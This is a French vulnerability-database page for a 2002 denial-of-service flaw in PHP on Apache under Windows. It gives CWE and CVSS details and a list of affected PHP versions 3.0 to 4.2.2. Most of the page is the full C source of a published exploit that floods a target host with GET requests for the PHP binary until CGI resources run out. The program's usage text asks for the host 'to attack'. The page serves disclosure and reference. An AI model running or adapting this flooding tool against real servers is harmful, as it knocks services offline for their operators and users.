Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-399 |
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
7.8 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 21632
Date de publication : 2002-07-21 22:00 +00:00
Auteur : Matthew Murphy
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/5280/info
It is possible, under some circumstances, for remote attackers to invoke the PHP interpreter from the web. If the interpreter is invoked with no command line options, it will hang. Attackers may exploit this condition to cause a denial of service.
This is reported to be a problem with PHP and Apache on Microsoft Windows platforms. It may be possible to create this condition in other environments as well.
/* PHP-APACHE.C
* By Matthew Murphy
* Exhaust CGI Resources via PHP on Apache
*
* Calling PHP with no parameters causes it to
* never terminate; the process must be killed
* by the server, the OS, or the admin.
*
* PHP on Apache requires you to configure a
* virtual to load PHP out of. PHP implements
* a "cgi.force_redirect" value to require that
* a certain environment variable be set to
* allow PHP to run further.
*
* However, an empty command-line *still* will
* cause PHP to hang. If a remote user does
* this for a lengthy amount of time, the server
* may no longer launch PHP or other server-side
* components.
*
* NOTE: The vulnerable config is on Apache,
* but other servers can still be exploited
* if they offer PHP.EXE (or an SAPI) directly.
*
* Usage: php-apache <host> [phpbin] [port] [maxsocks]
*/
#include <stdio.h>
#include <string.h>
#ifdef _WIN32
#define _WINSOCKAPI_ /* Fix for Winsock.h redef errors
*/
#include <winsock2.h> /* WinSock API calls... */
#define WSA_VER 0x0101 /* WinSock ver. to use */
#pragma comment(lib, "wsock32.lib") /* Check your compiler's docs...
*/
#else
#include <signal.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#endif
#define DEF_PHP "/php/php" /* This is used as the PHP
* path if one isn't set
*/
static char php_buf[] = "GET %s HTTP/1.0\x0d\x0a\x0d\x0a";
void main(int argc, char *argv[]) {
char host[257];
char binpath[257];
int maxsocks;
char request[300];
unsigned short port;
struct hostent *he;
struct sockaddr_in sa_in;
#ifdef _WIN32
WSADATA wsa_prov;
SOCKET s;
#else
int s;
#endif
printf("PHP-APACHE.C by Matthew Murphy\x0d\x0a");
printf("Exhausting CGI resources w/ PHP on
Apache\x0d\x0a\x0d\x0a");
maxsocks = 0;
strcpy(&binpath[0], DEF_PHP);
#ifdef _WIN32
if (!WSAStartup(WSA_VER, &wsa_prov) == 0) {
printf("ERROR: Windows Sockets init failed!");
exit(1);
}
#endif
port = (unsigned short)htons(80);
switch (argc) {
case 5:
maxsocks = atoi(argv[4]);
case 4:
port = htons((unsigned short)atoi(argv[2]));
case 3:
if (strlen(argv[2]) > 256) {
printf("ERROR: 256 char path limit exceeded in
'phpbin' argument.");
exit(1);
}
strcpy(&binpath[0], argv[2]);
case 2:
if (strlen(argv[1]) > 256) {
printf("ERROR: No host should be over 256
chars!");
exit(1);
}
strcpy(&host[0], argv[1]);
break;
default:
printf("Usage: php-apache <host> [port] [maxsocks]
[phpbin]\x0d\x0a\x0d\x0ahost - The IP/DNS name to attack\x0d\x0aport - The
port the HTTP service normally runs on (default: 80)\x0d\x0amaxsocks - The
maximum number of connections to establish (creates a finite flood). A
zero value means continue until termination (default: 0)\x0d\x0aphpbin -
The virtual path to the PHP binary (e.g, /php/php[.exe]; default:
/php/php)");
exit(0);
}
if (maxsocks == 0) {
maxsocks--;
}
sa_in.sin_family = AF_INET;
sa_in.sin_port = (unsigned short)port;
he = gethostbyname(&host[0]);
if (he == NULL) {
printf("ERROR: DNS resolution failed, or unknown host.");
exit(1);
}
#ifdef _WIN32
sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long
*)he->h_addr;
#else
sa_in.sin_addr.S_addr = (unsigned long)*(unsigned long
*)he->h_addr;
#endif
sprintf(&request[0], &php_buf[0], &binpath[0]);
while (!maxsocks == 0) {
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
printf("Couldn't create socket...\x0d\x0aIf you
continue to receive this error, terminate the program.");
} else {
if (!connect(s, (const struct sockaddr FAR
*)&sa_in, sizeof(struct sockaddr_in)) == 0) {
printf("Couldn't connect...\x0d\x0aIf you
continue to receive this error, terminate the program.");
} else {
send(s, (char FAR *)&request[0],
strlen(&request[0]), 0);
/* If the exploit isn't using up server resources
* try removing this -- the server may be killing
* the CGI after a disconnect.
*/
#ifdef _WIN32
shutdown(s, SD_BOTH);
closesocket(s);
#else
close(s);
#endif
}
}
if (!maxsocks == -1) {
maxsocks--;
}
}
return;
}
Products Mentioned
Configuraton 0
Php>>Php >> Version 3.0.1
Php>>Php >> Version 3.0.2
Php>>Php >> Version 3.0.3
Php>>Php >> Version 3.0.4
Php>>Php >> Version 3.0.5
Php>>Php >> Version 3.0.6
Php>>Php >> Version 3.0.7
Php>>Php >> Version 3.0.8
Php>>Php >> Version 3.0.9
Php>>Php >> Version 3.0.10
Php>>Php >> Version 3.0.11
Php>>Php >> Version 3.0.12
Php>>Php >> Version 3.0.13
Php>>Php >> Version 3.0.14
Php>>Php >> Version 3.0.15
Php>>Php >> Version 3.0.16
Php>>Php >> Version 3.0.17
Php>>Php >> Version 3.0.18
Php>>Php >> Version 4.0
Php>>Php >> Version 4.0.1
Php>>Php >> Version 4.0.1
Php>>Php >> Version 4.0.1
Php>>Php >> Version 4.0.2
Php>>Php >> Version 4.0.3
Php>>Php >> Version 4.0.3
Php>>Php >> Version 4.0.4
Php>>Php >> Version 4.0.5
Php>>Php >> Version 4.0.6
Php>>Php >> Version 4.0.7
Php>>Php >> Version 4.0.7
Php>>Php >> Version 4.0.7
Php>>Php >> Version 4.0.7
Php>>Php >> Version 4.1.0
Php>>Php >> Version 4.1.1
Php>>Php >> Version 4.1.2
Php>>Php >> Version 4.2.0
Php>>Php >> Version 4.2.1
Php>>Php >> Version 4.2.2
References